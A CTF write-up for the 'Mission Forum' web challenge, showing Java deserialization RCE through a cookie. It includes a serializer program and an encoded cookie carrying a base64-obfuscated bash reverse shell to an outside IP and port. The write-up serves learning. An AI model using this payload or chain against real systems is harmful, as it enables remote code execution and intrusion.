title: Mission Forum
date: Dec 25, 2022
tags: Writeup YogoshaChristmas_2022 Web
Difficulty: 500 points | 19 solves
Description: In kara Organization we have a website where we save our next missions in a secure way. Now After all what you have done, it's time to save the mission before going to Konoha!
This challenge was the 6th step of the CTF. For this challenge, we had to find a way to get an RCE on the challenge.
The website hasn't that much features:
But from a normal user, nothing is working.
If we take a look to the HTML commentary of the home page, we could find:
<!-- Check /backup/MissionController.java -->
Going to /backup/ and we get access to the source code of 2 files:
MissionController.java
package com.yogosha.controllers;
import com.yogosha.entities.Mission;
import com.yogosha.services.MissionService;
import com.yogosha.services.Security;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
@Controller
public class MissionController
{
private MissionService missionService;
@Autowired
public void setMissionService(MissionService missionService) {
this.missionService = missionService;
}
@RequestMapping(value = {"/latest_mission"}, method = {RequestMethod.GET})
public String list(@CookieValue(value = "latest_mission", defaultValue = "") String latest_mission, Model model) {
if (latest_mission.length() == 0) {
model.addAttribute("latest_mission", "No recent mission detected");
} else {
try {
byte[] decodedBytes = Base64.getDecoder().decode(latest_mission);
ByteArrayInputStream ini = new ByteArrayInputStream(decodedBytes);
Security inp = new Security(ini);
Mission result = null;
result = (Mission)inp.readObject();
model.addAttribute("latest_mission", result.getMission());
}
catch (IllegalArgumentException ex) {
model.addAttribute("latest_mission", "An Error has occured");
ex.printStackTrace();
} catch (IOException e) {
model.addAttribute("latest_mission", "An Error has occured");
e.printStackTrace();
} catch (ClassNotFoundException e) {
model.addAttribute("latest_mission", "An Error has occured");
e.printStackTrace();
}
}
return "missions";
}
@RequestMapping({"/mission/new"})
public String newMission(Model model) {
return "missionform";
}
@RequestMapping(value = {"/mission"}, method = {RequestMethod.POST})
public String saveMission(HttpServletResponse response, HttpServletRequest req) {
Mission mission = new Mission(req.getParameter("mission"), req.getParameter("category"), req.getParameter("anime"));
this.missionService.saveMission(mission);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(mission);
objectOutputStream.close();
String cookie = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
Cookie latest_mission = new Cookie("latest_mission", cookie);
response.addCookie(latest_mission);
} catch (IOException e) {
Cookie latest_mission = new Cookie("latest_mission", "");
e.printStackTrace();
response.addCookie(latest_mission);
}
return "redirect:/latest_mission";
}
}
MissionDebug.java
package com.yogosha.utils;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class MissionDebug implements Serializable {
private static final long serialVersionUID = 298788778888997655L;
private String debug;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
try{
ois.defaultReadObject();
Runtime runtime = Runtime.getRuntime();
runtime.exec((String) this.debug);
} catch (IOException e) {
e.printStackTrace();
}
}
}
In those files, there is something interesting:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
try{
ois.defaultReadObject();
Runtime runtime = Runtime.getRuntime();
runtime.exec((String) this.debug);
} catch (IOException e) {
e.printStackTrace();
}
}
In fact, in java, the readObject
method is used by the class when unserialize an object. As you can see, in the MissionDebug
class, the debug
attribute is directly passed over the runtime.exec
function which could lead to RCE. More details about java deserialization here: link.
Thus, we have to find an input where we control the object which is unserialize. This is possible in the /latest_mission
route.
public String list(@CookieValue(value = "latest_mission", defaultValue = "")
...
byte[] decodedBytes = Base64.getDecoder().decode(latest_mission);
ByteArrayInputStream ini = new ByteArrayInputStream(decodedBytes);
Security inp = new Security(ini);
Mission result = null;
result = (Mission)inp.readObject();
model.addAttribute("latest_mission", result.getMission());
In the above snippet, the value of latest_mission
is:
An important point on the following line is that even if the inp
object is cast to Mission
, the readObject
function will be called first.
result = (Mission)inp.readObject();
Thus, if we:
MissionDebug
object with the command to execute inside debug
latest_mission
cookie/latest_mission
Then, we would be able to exec command on the server 🔥
If we sum up the serialize part inside a java script we get:
import com.yogosha.utils.MissionDebug;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
import java.util.Base64;
class Main {
public static void main(String[] args) {
// Create new object
MissionDebug debug = new MissionDebug("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81NC4zNi4xMDMuMTM4LzkwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}");
String cookie = null;
// Serialize object
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(debug);
out.close();
cookie = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(cookie);
} catch (IOException e) {
System.out.println(e);
}
}
}
Running the above script, we get the following value:
rO0ABXNyAB5jb20ueW9nb3NoYS51dGlscy5NaXNzaW9uRGVidWcEJYLPtI0rFwIAAUwABWRlYnVndAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppQXZaR1YyTDNSamNDODFOQzR6Tmk0eE1ETXVNVE00THprd01EQWdNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9
Using it on /latest_mission
we get:
Flag: FLAG{J4vA_Des3rialization_1s_Th3_B3sT_U_kNoW?}
🎉